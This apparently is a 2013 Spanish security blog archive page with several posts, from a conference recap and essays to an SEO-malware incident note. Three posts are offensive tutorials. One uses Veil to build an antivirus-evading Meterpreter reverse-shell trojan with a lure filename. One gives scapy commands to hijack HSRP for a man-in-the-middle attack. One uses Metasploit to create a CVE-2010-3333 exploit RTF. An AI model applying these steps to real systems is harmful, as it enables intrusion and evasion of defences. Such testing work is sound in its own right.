Conferencias Navaja Negra – Día 1

7 de octubre de 2013 Por

Hace unos días, mi compañero Joel (@jsevilleja) y yo asistimos a las charlas Navaja Negra, que tuvieron lugar en Albacete del 3 al 5 de octubre. Navaja Negra son unas charlas jóvenes (van por la tercera edición), pero a pesar de ello congregan a un montón de gente interesante, manteniendo un espíritu colaborativo y cercano. Podéis seguir lo que se ha escrito sobre ellas en los hashtag #nn3ed y #nn3d, o seguir su cuenta oficial de Twitter en @navajanegra_ab.

Las conferencias tuvieron lugar, después de un cambio de ubicación a última hora, en las instalaciones de la Universidad Popular de Albacete. Tras el acto de bienvenida, empezaron las charlas.

La primera de ellas corrió a cargo de Juan Carlos Montes (@jcmontes_tec), de Inteco, que nos habló de una herramienta que ha desarrollado, llamada Telepathy. Esta herramienta proporciona una gran versatilidad a la hora de analizar muestras de malware ya que permite al analista actuar en dos frentes: por una parte, permite cargar nuevas DLL en un proceso en ejecución y hacer que este proceso las utilice; por otra, permite lanzar la ejecución bajo demanda de cualquier función o fragmento de código incluida en un proceso en ejecución. Este segundo supuesto es muy útil por ejemplo en funciones de cifrado y descifrado de las comunicaciones del malware, ya que da la posibilidad al analista de obtener las órdenes que envía y recibe una muestra de código malicioso sin tener que hacer ingeniería inversa sobre dicha muestra.

[Read more…]

A stolen ringbuoy, a stolen life

4 de octubre de 2013 Por

Queridos lectores, si el título de la presente entrada les ha llamado la atención, les pido que nos acompañen durante cinco minutos. Voy procurar resumir en pocas líneas una reflexión que gira en torno a la publicidad, seguridad y concienciación, que hice a raíz de leer ese lema.

Hoy en día estamos saturados por la cantidad de información que recibimos de todo tipo. Siendo conscientes de este hecho, los publicistas hacen uso de su creatividad para conseguir llamar nuestra atención a través de elaboradas campañas publicitarias. Aunque no seamos publicistas (es posible que algunos de nuestros lectores sí lo sean), creo que debemos tomar ejemplo a la hora de comunicar aspectos relativos a la seguridad.

En las últimas vacaciones vi un lema que me impactó tal y como lo hacen dichas campañas publicitarias. Sobre la frase “A stolen rinbuoy, a stolen life” que vendría a ser algo como “Un salvavidas robado, una vida robada”, se hallaba uno de los múltiples aros salvavidas que están a lo largo del río Corrib en su desembocadura en Galway (Irlanda).

[Read more…]

Incidente con Malware de posicionamiento en buscadores, SEO

3 de octubre de 2013 Por

Recientemente detectamos en un servidor una extraña conexión hacia un servidor que hizo saltar la alarma por un posible compromiso del mismo. La petición que se detectó desde dicho servidor fue únicamente la que se muestra a continuación:

GET /system/mngr.php?id=a5f99b82b662d6e2b98b30e3077606ba&md5=9e5d6df936986f0b4d5fd4794807824f HTTP/1.0
Host: manka11.com

Como única respuesta se recibió la palabra UNCHANGED.

Tras analizar las peticiones que recibe el servidor, no se aprecia ninguna sospechosa que pudiera indicar alguna webshell desde la que lanzar esa petición, ni ninguna orden dirigida a un recurso sospechoso o pasada como parámetro que llamase la atención, lo que nos hizo analizar el registro del servidor para ver qué actividad hubo.

Antes de pasar a analizar el log, buscamos los últimos ficheros modificados en el directorio del servidor y, por tratarse de un posible servidor web comprometido, especialmente aquellos ficheros con funciones que utiliza habitualmente el malware para ofuscarse (base64_decode, preg_replace, eval, error_reporting(0), etc.). En este caso ya empezamos a ver indicios que nos llevaban en la dirección correcta: unas carpetas que parecen ser módulos de Joomla! creados en fechas diferentes que contienen algunas de las funciones buscadas:

[Read more…]

“Núcelar”. La palabra es “nuu-ce-lar” (*)

2 de octubre de 2013 Por

Recientemente leí un artículo publicado por Joseph M. Weiss en su blog Unfettered blog. El título reza “The system is still broken. The failure of a cyber-sensitive substation device affecting a nuclear plant” y puede consultarse aquí. El título es bastante elocuente y capta inmediatamente la atención del lector. Y ello, en mi opinión, ocurre por la combinación de tres palabras: failure + cyber + nuclear. Toda época tiene sus miedos y la nuestra, como recuerdo de la guerra fría y la posibilidad cierta de una catástrofe atómica, lo tiene al holocausto nuclear. Este terror es reforzado de tanto en tanto, de forma que nunca deja de estar presente. Tras el fin de la guerra fría vino Chernóbil, y ahora tenemos Fukushima. La bestia atómica ha actuado contra su creador en tres ocasiones: a causa de un acto de guerra en Hiroshima y Nagasaki, a causa de la incompetencia y el mal diseño en Chernóbil y, finalmente, a causa de la Tectónica de placas en Fukushima. ¿Qué será la próxima vez? En la era de las TIC un acto de ciberguerra, ciberterrorismo o ciber-mala suerte se postula como candidato para abrir la puerta del terror nuclear.

Planta de generación de energía eléctrica de Didcot (UK)(1)

Ahora bien, tras captar nuestra atención con semejante título, ¿qué hay en el texto? Pues, básicamente, se describe un incidente reportado en una central nuclear. Según se refiere en el artículo, un cambiador de tomas falló tras estar operando de forma continuada durante un intervalo de tiempo demasiado largo. Este tipo de dispositivos se emplean en los transformadores de potencia para regular automáticamente la tensión en los devanados de salida manteniendo ésta dentro de límites prefijados. Puesto que estos dispositivos tienen capacidad de conectarse y gobernarse de forma remota, se especula con la posibilidad de que haya sido víctima de un ciberataque. Y nada más. ¿Pudo haberlo sido? Quizá sí, quizá no. ¿Cuál fue la afección sobre la central? Pues posiblemente ninguna. Como bien se dice en el texto, estos dispositivos se emplean en muchos puntos de la red eléctrica y no constituyen un componente exclusivo de una central nuclear. De hecho, hay muchos otros lugares donde un fallo de este tipo de dispositivos es, potencialmente, más dañino.

Así pues, la sensación tras leer el artículo es que nos encontramos con la descripción de un caso tipo “alguien ha matado a alguien”. La adición del factor nuclear actúa como multiplicador para dar entidad al caso.

Esto es sólo un ejemplo de cuán automática es la asociación de las palabras “Infraestructuras críticas” y “energía nuclear”. Y esta asociación, por tópica, acaba por diluir el riesgo real ya que, a fin de cuentas, la mayor parte de las infraestructuras críticas no son centrales nucleares y la mayor parte de los ciberataques no buscan (o buscarán) provocar un síndrome de China. Y es que una cosa es provocar la indisponibilidad de una central de generación (de cualquier tipo) y otra cosa es hacer volar un reactor nuclear. ¿Cuál es la diferencia (más allá de un impacto local) de provocar la indisponibilidad de un tipo de planta u otro? A efectos comparativos, la participación en la generación total durante el año 2012 del parque nuclear español fue del 22,1%, mientras que las centrales de carbón produjeron un 19,3% (2). Alguien podría argüir: “de acuerdo, pero Francia sí que tiene gran cantidad de generación nuclear, por lo que, ya que adquirimos gran cantidad de energía de nuestro vecino, la indisponibilidad de sus centrales sí que nos afectaría”. De nuevo hay una falacia aquí. El saldo de energía intercambiada con Francia durante 2012 fue de 1.524 GWh. El consumo total de España de 251.710 GWh (3). Por cierto que este año no fue una excepción: eléctricamente, la península es una isla a causa de la escasa capacidad de intercambio con el resto de Europa.

Hemos de tener cuidado, pues, con estas cosas. Los mensajes catastrofistas suelen ser contraproducentes, ya que la sociedad termina por insensibilizarse.

Especialmente cuando pasa el tiempo y el Juicio Final no parece llegar tal y como se anunció.

NOTA FINAL: la imagen que acompaña este artículo no es de una central nuclear. Pero es curiosa la tendencia de los medios de comunicación a asociar imágenes de torres de refrigeración, no exclusivas de este tipo de centrales, con noticias sobre energía atómica. O con noticias sobre emisión de CO2, pese a que lo que sale por ellas es vapor de agua.

(*) Simpson, Homer J.
(1) Imagen tomada de Wikipedia. Autor: Owen Cliffe.
(2)(3) Informe sobre el sistema eléctrico español. Año 2012. Red Eléctrica de España.

Veil – Evasión de Antivirus

1 de octubre de 2013 Por

Hace un tiempo, por necesidades en el trabajo buscaba algo que me permitiera encapsular un payload de Metasploit y que éste no fuese detectado por los antivirus. En otras ocasiones he usado los “requetecifrados” con las múltiples opciones que permiten las herramientas msfpayload y msfencode. Otras veces me ha valido con las diversas herramientas que facilita SET (Social Engineering Toolkit) de Metasploit. Sin embargo, tras realizar varias pruebas, un antivirus actualizado detectaba el troyanete que iba dentro y saltaba enseguida. Quizás no elegía correctamente las opciones…

Así que buscando por Internet herramientas de evasión de antivirus enseguida me topé con VEIL. Si, lo sé, hemos estado todo el verano oyendo (y huyendo) de él, pero no, no es ese Veil…
Veil es una aplicación que cumple el propósito buscado: Empaquetar un payload de Metasploit y que los Antivirus no lo detecten. Está implementada en Python y, desde hace poco, está incluida en la distribución Kali Linux. Vamos con ella:

Descarga

Veil, desarrollada por @christruncer, se puede descargar desde la web del proyecto o puede hacerse un clonado de todos los ficheros mediante git:

#git clone https://github.com/veil-evasion/Veil.git

Instalación

La instalación no es muy enrevesada pero, como siempre, tenemos que andar con ojo con las dependencias. En este caso, Veil dispone de un instalador que permite la descarga e instalación de las dependencias (Wine, Python, PyInstaller, etc) en un Siguiente, Siguiente. Para ello se debe ejecutar el fichero /ruta_elegida/Veil/setup/setup.sh y responder a lo que nos vaya preguntando (son preguntas triviales). Cuando nos proponga descargar e instalar una serie de módulos, le diremos que sí.

Uso

Una vez instalado, vamos a hacernos un troyanete sencillo. Arrancamos Veil:

#python /ruta_elegida/Veil/Veil.py

y accedemos a la pantalla principal.

Las opciones son bastante simples y están explicadas, así que no hay escusa para no probarlas. Ahora vamos con el asunto principal, así que seleccionamos use.

A continuación se muestra la lista de payloads que hubiese aparecido si hubiésemos elegido la opción list. En ella se distinguen 18 payloads diferentes, agrupados por el lenguaje empleado para programarlo (c, c#, python…) y una valoración sobre la “calidad” del payload (poor, normal o excellent).

Vamos a elegir uno de los Excellent, ¿no? Y ya que estamos en un entorno Python y es un lenguaje que nos gusta, vamos a elegir el payload python/AESVirtualAlloc (opción 10).

La siguiente pantalla nos muestra las opciones del payload, que vamos a dejar tal y como están. Luego tenemos otra lista de opciones también muy básica.

Seleccionamos la opción que nos interesa: generate.

En la siguiente pantalla dejamos la opción por defecto para elegir el shellcode que queremos: msfvenom (opción 1) que según parece es una conjunción de los ya nombrados msfpayload y msfencode y seguimos.

Ahora toca elegir el payload que queremos que se ejecute. Por defecto nos ofrece nuestro gran amigo Meterpreter, pero puede seleccionarse cualquiera de los disponibles. Presionando el tabulador, se van mostrando las diferentes opciones. No os compliquéis, el seleccionado (windows/meterpreter/reverse_tcp) funciona muy bien. Si por cualquier causa os falla al probarlo, simplemente probad suerte con otro.

Bien, ya vamos acabando. Una vez elegido el payload, nos pedirá la IP y el puerto de LHOST, el equipo que recibirá la conexión inversa con Meterpreter. Luego nos dará la opción de añadir algún parámetro opcional de msfvenom, pero lo dejaremos como está. Pulsamos de nuevo enter y comienza la generación del shellcode.

Nos da la opción de ponerle un nombre al fichero resultante. Por ahora lo dejaremos con el nombre por defecto, luego ya se lo cambiáis si queréis (nominas2013.exe es mi preferido ;)

La siguiente pantalla ya es la última. Se nos ofrece la opción de usar Pyinstaller, el cual hemos instalado antes y con el que se genera un paquete .exe con todas las dependencias; o usar Py2Exe, el cual genera los tres ficheros necesarios para luego empaquetar el ejecutable.

Como hasta ahora, no nos complicamos y que lo haga él. Seleccionamos la opción 1 y finalizamos. En este momento empiezan a salir varios mensajes por consola mientras genera el ejecutable y finalmente, muestra un resumen de todo. En este se puede ver la ruta en la que ha dejado el resultado.

Cabe destacar el mensaje que se muestra al finalizar el proceso: No lo subas a una web de scanners antivirus (tipo VirusTotal). Estas Webs suelen mandar una firma de todos los archivos que se analizan a las casas de Antivirus, así que no os autotroleéis…

Pruebas

Vamos a ser rápidos. Probaremos en un precioso Windows7 con AVG actualizado a ver qué pasa…

Para la prueba debemos poner a escuchar nuestro equipo. Una forma sencilla que ya conocéis es mediante el handler de Metasploit. No hace falta añadir ninguna opción ya que el puerto por defecto es el 4444/TCP. Tampoco necesitamos ningún payload, ya va empaquetado en el ejecutable que hemos preparado. Lo lanzamos y esperamos…

Ejecutamos nuestro regalito en el Windows 7. Simplemente crea un proceso payload13.exe que no hace nada y no aparece ningún mensaje del Antivirus.

¡Tachán! Ya tenemos nuestro Meterpreter ejecutándose y controlado desde nuestra máquina.

Lanzamos el comando shell como prueba de que estamos ejecutándolo en la máquina Windows 7.

Diseñando Sistemas I: La toma de requerimientos

30 de septiembre de 2013 Por

Antes que nada, quiero decir que este artículo como los que le seguirán en esta serie, estarán basados en la experiencia que he acumulado desde 1971, año en el que comencé a estudiar y trabajar en los sistemas de tratamiento de la información, antes de que tuviera la posibilidad de obtener una titulación oficial que entonces no existía. Reflejaré tan solo ideas generales, sin entrar en metodologías concretas, (he tenido que aprender y utilizar distintas metodologías, según la empresa para la que trabajé), sino tan solo en las prácticas que me han dado buenos resultados independientemente del negocio, ambiente o método utilizado, la base ha sido siempre muy similar.

Una de las labores más gratificantes o frustrantes que el profesional de la informática puede llevar a cabo es el diseño de un sistema de proceso de información, tanto si es autónomo (el sistema) o forma parte de otra aplicación de mayor ámbito con la cual deberá integrarse.

Captar las necesidades del proceso, decidir cómo realizarlo y plasmar estas ideas en un diseño, tiene bastante de creativo y personal, aún cuando haya que aplicar metodologías y normas, e incluso haya que integrar otras herramientas en él. Personalmente, a lo largo de mi carrera como informático, me he sentido feliz cada vez que un sistema salido de mis manos daba el resultado esperado y permanecía activo largo tiempo sin requerir un soporte significativo o dar problemas. Debo añadir que también he tenido experiencias frustrantes (afortunadamente pocas veces), generalmente por no haber dedicado el tiempo necesario a analizar un problema y resolverlo correctamente, atendiéndolo con urgencia —y coste mínimo por supuesto—, lo que normalmente acaba volviéndose en nuestra contra, generando un problema aún mayor.

Llevo bastante tiempo sin realizar esta labor por lo que intuyo y digo “intuyo”, que las herramientas de desarrollo actuales, con bases de datos pre-definidas, lenguajes de alto nivel, etc., facilitan mucho el trabajo de desarrollo, pero estoy seguro de que sigue existiendo la posibilidad de ser creativo en la etapa de diseño, durante el proceso de análisis y definición de las necesidades del usuario final, entendiendo lo que se necesita hacer y sugiriendo soluciones, aunque sea a nivel funcional, para que orienten al equipo que después va a desarrollar estas ideas durante la programación.

Mi primera recomendación antes de diseñar un sistema es procurar comprender el proceso, pero no como algo aislado que hay que resolver sino como parte de una entidad mayor, ya sea un sistema informático más complejo o tal vez una actividad de negocio. Esto que parece obvio, no siempre se hace, porque entender el proceso es entender de qué forma parte, donde se integra, de dónde le llega la información, qué hace con ella, qué se espera obtener como resultado y dónde va a ser utilizado éste y para qué. Es decir, entender el antes y después del proceso, antes de entrar en los detalles del mismo.

Esto sin duda requerirá más tiempo dedicado tanto a la recogida de información como al análisis de la misma, añadiendo coste al proyecto, pero nos permitirá comprender ciertas particularidades del proceso exigidas no sólo por nuestro cliente, sino por las características de su negocio, por la legislación vigente o por prácticas del mercado o el entorno en el que se mueve. Con ello, además de obtener una motivación y una experiencia extra, nos convertimos en un interlocutor más efectivo frente al usuario que nos va a describir sus necesidades, en su lenguaje propio y con unos límites de visión que tal vez no nos convengan. También estaremos en condiciones de hacer preguntas de mayor calado y detectar puntos de posible riesgo o conflicto en el tratamiento de la información. Si somos capaces de hacer esto, en mi opinión, no solo podremos hacer un diseño más ajustado a las necesidades del cliente, sino que estaremos en condiciones de prevenir otras necesidades no descritas inicialmente, que se van a dar una vez puesto en marcha nuestro sistema.

El clásico “esto no me lo habías contado y no está previsto” debería quedar minimizado o anulado y por lo contrario, responder con “es fácil integrar lo que me pides” da confianza y satisfacción al cliente y crea un vínculo más sólido con su proveedor, ya que piensa que no sólo se le entiende sino que empezamos a tener una buena experiencia en su negocio y le vamos a servir de apoyo.
Con bastante frecuencia, los requerimientos de un sistema no reflejan solamente las necesidades de los procesos de la compañía donde va a ser instalado, sino que también incluye ciertas exigencias de sus clientes, principalmente de aquellos que deben seguir normativas y protocolos establecidos (clientes de la gestión y administración de la salud o de la alimentación, por ejemplo) que pueden requerir formatos de documentación específicos, con otros adjuntos y firmados que no forman parte del proceso en sí, pero que el sistema debe controlar su existencia y seguir unos ciclos específicos de aprobación, etc., y que complican bastante la forma de gestionar algo que en la empresa de al lado es bastante estándar y sencillo.

Si además, toda esa “cultura” está en la cabeza de dos o tres empleados “expertos” que la gestionan manualmente, por lo que no forma parte del flujo de información y conocimiento de la empresa, eso supone un alto riesgo para esta última, y una buena solución es diseñar un sistema automatizado y bien documentado que aporte dicha gestión de un modo ágil y claro, que pueda ser ejecutada con personal menos “culto” o bien que esa culturilla pueda divulgarse en todo el equipo de trabajo.

Plasmar los requerimientos en un documento ordenado y claro es muy importante, para presentarlo al cliente y que dé su aprobación antes de seguir adelante con el análisis funcional del sistema. Para ello, es conveniente adoptar una metodología de trabajo adecuada entre las existentes, o como mínimo adoptar un formato de documentación en el que indiquemos el nombre del proyecto, el cliente, la fecha, autor, el tema o sujeto del documento, etc. y apliquemos un código dentro de nuestra librería de documentos, para facilitar su localización, consulta y actualización. Una buena organización de la documentación es esencial para facilitar el desarrollo de cualquier proyecto.

En cuanto al mencionado incremento de coste, si no ha sido adecuadamente previsto en los presupuestos del proyecto, debería ser considerado —dentro de unos límites claro está— como una inversión de la empresa proveedora en beneficio de futuras colaboraciones con este cliente o en competiciones con otros clientes del mismo ámbito de actividad. Tener un “equipo experto” en el tema a solucionar dará un gran valor añadido a la propuesta de servicios que se presente ante cualquier otro cliente posible, además de fidelizar a los ya existentes.

Métodos de identificación

27 de septiembre de 2013 Por

Aunque muchas cosas han cambiado en la seguridad en internet en los últimos 10 años, sin embargo otras han permanecido igual, como es el caso de la identificación mediante contraseñas alfanuméricas. Éstas siguen siendo la forma de autenticación dominante: según estudios el 97% de las organizaciones las utilizan.

Sin embargo, a pesar de ser la forma de autenticación más extendida, la identificación mediante contraseña alfanumérica tiene algunos inconvenientes bastante destacados, como son el olvido y el robo de las mismas. Los fallos en la autenticación de usuarios pueden causar muchos daños técnicos y además tener un gran coste económico. En 2007 se cuantificaron en 3200 millones de dólares las pérdidas debidas a suplantación/robo de la identidad (phishing).

Todo esto ha llevado a la investigación en formas alternativas de identificación de los usuarios, que tienen como objetivo principal evitar los problemas actuales de las contraseñas alfanuméricas y dotar a los sistemas de una forma de identificación más segura.

[Read more…]

Ataque al protocolo HSRP

26 de septiembre de 2013 Por

¿Cómo funciona?

El protocolo de Cisco Hot Standby Router Protocol (HSRP) se usa para la conexión entre routers con el fin de evitar fallos en una red, gracias a la redundancia, comprobando el estado de los mismos cada cierto tiempo. Su funcionamiento se basa en que uno de los routers actúa como maestro de los demás y es el encargado de enrutar el tráfico, mientras que los demás actúan como respaldo en caso de fallo del maestro.

Supongamos dos routers, R1 y R2, donde el primero hace de maestro y el segundo de respaldo. Ambos intercambian mensajes de saludo tipo hello, que permiten conocer el estado del otro a intervalos de tiempo pre configurados, usando para ello la dirección de destino multicast 224.0.0.2. La prioridad a la hora de configurar los routers es la que determina quien actúa de maestro y quién no. Si el maestro sobrepasa un tiempo límite en enviar mensajes de saludo al otro, entonces el “esclavo” asume el papel de maestro.

Ataque

El ataque consiste en que si un usuario emula ser un router con máxima prioridad, podría conseguir ser considerado como el maestro, enrutar todo el tráfico y por tanto conseguir un MitM. Veamos un ejemplo.

Imaginemos que R1 (maestro) y R2 (esclavo) tienen la puerta de enlace 192.68.1.1. Ambos tienen la misma porque ofrecen redundancia. Los ordenadores de nuestro escenario están conectados al switch dentro de la red 192.168.1.0/24. La IP del atacante es la 192.168.1.160 además de una IP virtual 192.168.1.1.

Los dos routers están configurados con el protocolo de enrutamiento HSRP en su interfaz Ethernet, donde R2 se configura con una prioridad de 90 y R1 con una de 100 (prioridad por defecto), para que haga de maestro.

Los dos routers intercambian paquetes de saludo con un intervalo de tiempo de 3 segundos. Estos paquetes se envían a la dirección 224.0.0.2 (multicast), con lo cual cualquier host con conectividad en la capa 2 es capaz de leer estos paquetes y averiguar los parámetros de configuración del protocolo. Capturar los paquetes es sencillo, en este caso lo haremos con whireshark en funcionamiento sniffer.

Para instalar whireshark:

apt-get install wireshark

Con esta información el atacante tiene los datos necesarios para convertirse en router maestro. En la captura podemos ver algo como esto:

Para que el atacante se convierta en router activo solo tiene que mandar mensajes de saludo con mayor prioridad. Los datos más importantes que vemos en la captura son:

  • State, donde el estado ha de ser activo y con código 16, lo que comprueba que el saludo se hace desde un router activo.
  • HelloTime, la frecuencia con la que se envía el paquete de saludo, por defecto 3 segundos.
  • Priority, en este caso 100.

Una vez que tenemos la información necesaria sólo queda construir el paquete e inyectarlo para hacernos con el control. Para la construcción del paquete usaremos la herramienta scapy.

El generador de paquetes scapy escrito en phyton nos permite generar paquetes con muchas opciones, aunque nos centraremos en su uso para interferir en diversos protocolos de enrutamiento y ataques a routers. Para instalar scapy tenemos varias opciones. Si disponemos de un sistema Linux que use sistema apt podemos hacer lo siguiente:

apt-get update
apt-get install python-scapy

También podemos bajarlo de la página de Debiano de la página oficial del proyecto. Una vez bajado el paquete, lo instalamos:

dpkg -i python-scapy_2.1.0-1_all.deb

Ejecutamos el programa y creamos el paquete a inyectar de la siguiente forma:

scapy

Welcome to Scapy (2.1.0)

>>>
>>> ip = IP(src='192.168.1.1', dst='224.0.0.2')
>>> udp = UDP()
>>> hsrp = HSRP(group=1, priority=255, virtualIP='192.168.1.1')
>>> send(ip/udp/hsrp, iface='wlan0', inter=3, loop=1)
...................
Sent 19 packets.

El envío de paquetes se hace cada 3 segundos indefinidamente, mandando mensajes idénticos a los de R1. En este caso wlan0 es nuestra interface wireless, pero debemos cambiar el parámetro por la interface que se esté usando. Si nos fijamos en una captura con whireshark de los paquetes enviados veremos los paquetes hello:

También podemos ver el uso de multicast DNS, ya que no hay ningún servidor DNS instalado:

Ahora R1 pasa de estar activo a estar en modo standby (o modo espera) y R2 pasa a estar en modo speak.

En este momento el enrutador no responderá a las peticiones ARP de 192.168.1.1, por lo que nostros podemos responder las peticiones ARP para la IP 192.168.1.1 y capturar el tráfico de las máquinas de la LAN ya que somos nosotros ahora los que enrutamos, logrando un ataque MitM.

Una solución adecuada para solventar este fallo de seguridad es el uso de cifrado md5 para la comunicación entre routers y así evitar que se inyecten paquetes, ya que aunque se pueda capturar tráfico como antes, no es posible para un atacante puede inyectar los paquetes sin el hash md5 asociado.

Enlaces:

SCADA e Internet, una pareja mal avenida (II)

25 de septiembre de 2013 Por

La entrada de hoy corre a cargo de Xavi Morant, coordinador técnico de CSIRT-CV. Xavi es Licenciado en Informática por la Universidad Politécnica de Valencia y ha desarrollado su carrera profesional dentro de la Generalitat Valenciana, tanto en el ámbito de la administración de Sistemas como en el de la Seguridad; desde 2007 ocupa el puesto de coordinador técnico del CSIRT-CV, el centro de seguridad TIC de la Comunitat Valenciana.

El lunes publicamos la primera parte de Scada e Internet, una pareja mal avenida. Pues bien, hoy continuamos con la segunda parte para centrarnos en el posible impacto que tendrían las amenazas actuales contra alguno de estos sistemas.

Podríamos hablar de 3 tipos de impacto:

  • Impacto físico: Como consecuencia de un incidente de seguridad podemos sufrir daños en personas, pérdidas de operaciones, pérdida de propiedad o incluso pérdidas de vidas.
  • Impacto económico: Esta situación viene derivada de los daños físicos. El impacto físico, tal como se ha comentado, puede afectar a procesos operacionales que a su vez pueden afectar negativamente la economía local, regional, nacional o incluso la economía global. Adicionalmente las corporaciones que experimenten pérdidas en la continuidad de negocio y/o impacto físico de un incidente de ciberseguridad verán afectada su reputación, lo cual repercutirá en el mercado financiero por la supuesta pérdida de ingresos debido a clientes insatisfechos, desconfiados, etc. Para obtener de nuevo una buena reputación habrá que promover campañas y destinar fondos a una mejora de imagen.

    • [Read more…]

Generando una batería de pruebas de ficheros maliciosos con Metasploit

24 de septiembre de 2013 Por

Cuando se implantan determinadas soluciones como un IDS, una sandbox, un antivirus, etc. suele ser habitual necesitar ficheros maliciosos para probar esos sistemas y ver cómo se comportan, su efectividad, su rendimiento, los sistemas de notificaciones, etcétera. Frente a esta necesidad, podemos utilizar recopilaciones de ficheros maliciosos como podemos encontrar en blogs como contagiodump o como alternativa más controlada podemos hacernos nuestros ficheros maliciosos y construirnos nuestra bateria de pruebas. La ventaja de esta segunda alternativa es que estará todo más controlado por nuestra parte.

En esta entrada vamos a centrarnos en ver cómo crearnos un fichero que podría ser perfectamente utilizado en el inicio de un ataque dirigido (APT), como mencionamos en los ejemplos del informe de “Detección de APT” que recientemente publicamos. Para llevar a cabo nuestro objetivo vamos a utilizar la herramienta Metasploit, la cual también permite crear documentos que explotan vulnerabilidades. Concretamente en esta entrada nos vamos a centrar en crear un fichero que use una vulnerabilidad en los ficheros con formato RTF, con ID CVE-2010-3333 e infecte la máquina que lo ejecuta. Seguro que a muchos de vosotros os suena este identificador de vulnerabilidad porque ha sido ampliamente utilizado en campañas de APT.

El proceso es muy sencillo, arrancamos nuestra Kali Linux y nuestra metasploit con el comando msfconsole. Lo primero que hacemos es buscar el exploit que nos permitirá crear el fichero RTF:

Ahora vemos qué nos ofrece ejecutando el comando info:

Cargamos el exploit para usarlo y mirar sus opciones, con show options:

Vemos que el fichero que creará se llamará msf.rtf y el target está puesto a 0. Estos parámetros podemos cambiarlos y ajustarlo a nuestras necesidades, como se ve a continuación:

msf exploit (ms10_087_rtf_pfragments_bof) > set target 2 
msf exploit (ms10_087_rtf_pfragments_bof) > set filename saw.rtf
msf exploit (ms10_087_rtf_pfragments_bof) > set payload generic/shell_bind_tcp

El payload configurado abrirá en caso de éxito un puerto en la máquina para que se conecte el atacante all puerto 4444/tcp de la máquina de la víctima. Se pueden configurar otros shellcodes, hemos elegido éste por simplicidad. Ahora solo nos queda ejecutar el exploit:

msf> exploit (ms10_087_rtf_pfragments_bof) > exploit

El resultado generará:

Con esto ya tenemos un fichero para atacar a una víctima con Microsoft office 2003 (versión en inglés) y que no tenga parcheada la vulnerabilidad cve-2010-3333. Como vemos este fichero nos puede servir para probar nuestros sistemas de protección y ver si sería filtrado por el antivirus del servidor de correo, si el IDS nos alertaría, etcétera.

Una vez tenemos el fichero generado lo pasamos por virustotal y vemos como lo detectan algunos motores antivirus:

Es curioso que no sean todos los motores los que nos alerten, pero bueno, eso es otro cantar. Como véis el proceso de creación es muy sencillo, únicamente es necesario cuatro o cinco comandos y los atacantes ya pueden estar intentando comprometer a sus víctimas.